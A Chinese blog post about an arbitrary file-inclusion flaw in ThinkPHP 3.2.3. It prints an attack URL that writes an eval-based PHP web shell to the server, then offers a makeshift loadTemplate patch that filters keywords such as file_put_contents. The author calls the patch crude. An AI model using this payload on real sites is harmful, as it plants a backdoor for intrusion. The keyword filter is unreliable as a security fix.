首页 > 编程语言 >thinkphp 3.2.3 包含任意 文件 的漏洞,这个太多了,我就不详细了解了

thinkphp 3.2.3 包含任意 文件 的漏洞,这个太多了,我就不详细了解了

时间:2022-09-02 18:14:37浏览次数:67  
标签:__ str templateFile 漏洞 tmplContent 3.2 file thinkphp array

攻击的代码 

http://localhost/ index.php?a=fetch&templateFile=public/index&prefix=%27%27&content=%3Cphp%3Efile_put_contents(%2782.php%27,%27%3C?php%20@eval($_POST[shell]);%20?%3E%27)%3C/php%3E

 

 

 找到文件 

ThinkPHP/Core/Library/Think/Template.class.php 

加入以下代码:
public function loadTemplate ($templateFile,$prefix='') {         $templateFile = strip_tags($templateFile);// 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。         $templateFile = preg_replace('/\s+/', '', $templateFile);//去除所有空格以便下一步处理。         $templateFile = str_ireplace(array('(',')','\'','\"',',','http://',), array(''), $templateFile);//以防万一,http、与文件路径无关的字符串都过滤掉。已经将函数括号已经被去掉破坏了。         $templateFile = str_ireplace(array('file_put_contents','fwrite','\'','\"',',','http://',), array(''), $templateFile);         if(is_file($templateFile)) {             $this->templateFile    =  $templateFile;             // 读取模板文件内容             $tmplContent =  file_get_contents($templateFile);         }else{             $tmplContent =  $templateFile;         }          // 根据模版文件名定位缓存文件         $tmplCacheFile = $this->config['cache_path'].$prefix.md5($templateFile).$this->config['cache_suffix'];
        // 判断是否启用布局         if(C('LAYOUT_ON')) {             if(false !== strpos($tmplContent,'{__NOLAYOUT__}')) { // 可以单独定义不使用布局                 $tmplContent = str_replace('{__NOLAYOUT__}','',$tmplContent);             }else{ // 替换布局的主体内容                 $layoutFile  =  THEME_PATH.C('LAYOUT_NAME').$this->config['template_suffix'];                 // 检查布局文件                 if(!is_file($layoutFile)) {                     E(L('_TEMPLATE_NOT_EXIST_').':'.$layoutFile);                 }                 $tmplContent = str_replace($this->config['layout_item'],$tmplContent,file_get_contents($layoutFile));             }         }                 // 编译模板内容         $tmplContent =  $this->compiler($tmplContent);         Storage::put($tmplCacheFile,trim($tmplContent),'tpl');         return $tmplCacheFile;     }

很山寨的解决了

标签:__,str,templateFile,漏洞,tmplContent,3.2,file,thinkphp,array
From: https://www.cnblogs.com/jackluo/p/16650840.html

相关文章

  • 可别小看了XSS漏洞
    可别小看了XSS漏洞​ 对于初了解xss漏洞的人来说,XSS漏洞的危害就是获取受害者的cookie,来进行‘cookie劫持’。​ 今天就总结一下XSS漏洞的危害性,望安全人员不要轻视,开发......
  • Struts2漏洞发现
    fofa语法app=”Struts2”导出所有的url,保存为target.txt扫描漏洞./xraywebscan–pluginstruts–url-filetarget.txt–html-outputs2.html查看了一下,xray扫......
  • XSS漏洞
    (备注:以下为个人学习笔记)一、什么是XSS答:XSS(crosssitescript)或者说跨站脚本是一种Web应用程序的漏洞,恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之......
  • fastjson漏洞利用学习
    FastJson漏洞利用学习前置知识了解Fastjson反序列化漏洞我们还需要一些前置知识。好比如什么是JNDI,JNDI注入?JNDI简介JNDI(JavaNamingandDirectoryInterface,Java命......
  • 使用dependency-check-maven对项目进行漏洞检查
    最近,公司安排对所开发项目进行漏洞检查,使用的就是开源扫描工具OWASPDependency-Check。使用方式有多种,鉴于项目是用maven进行管理的,我使用的是maven插件的方式,使用方式很......
  • vue.js3: 多张图片合并([email protected])
    一,安装用到的第三方库1,安装:liuhongdi@lhdpc:/data/vue/pdf/image2pdf$npmi-Svuedraggable@nextadded2packagesin11s2,查看已安装的版本:liuhongdi@lhd......
  • 自己玩KAFKA 版本 kafka_2.13-3.2.1
       好久没有研究Kafka了,重新摸起来自己在虚机中 、环境JDK8+kafka_2.13-3.2.1不太建议使用Windows,除非迫不得已,毕竟Kafka的使用场景都是高并发场景,Windows服务......
  • 220829-漏洞分类再深入
    本篇文章针对漏洞分类问题进行深入的理解和分析。在《网络安全漏洞分类分级指南》(GB/T30279-2020)中,对漏洞分了4大类。第一类代码问题简单来说,就是程序员在写代码的时......
  • Discuz!X3.2/3.3/3.4程序搬家/数据库修改教程 (2019-06-11 17:07:29)
    路径:/wwwroot/config/config_global.php这个根据你网站安装的路径而定。 打开config_global.php文件修改:$_config['db']['1']['dbpw']='原来密码'; 原来密码......
  • 渗透测试 vs 漏洞扫描:差异与不同
    渗透测试和漏洞扫描常常被混淆,这两者都通过探索系统来寻找IT基础架构中的弱点及易受攻击的地方。阅读本文,带你了解两者之间的差异与不同。手动vs自动渗透测试是一种......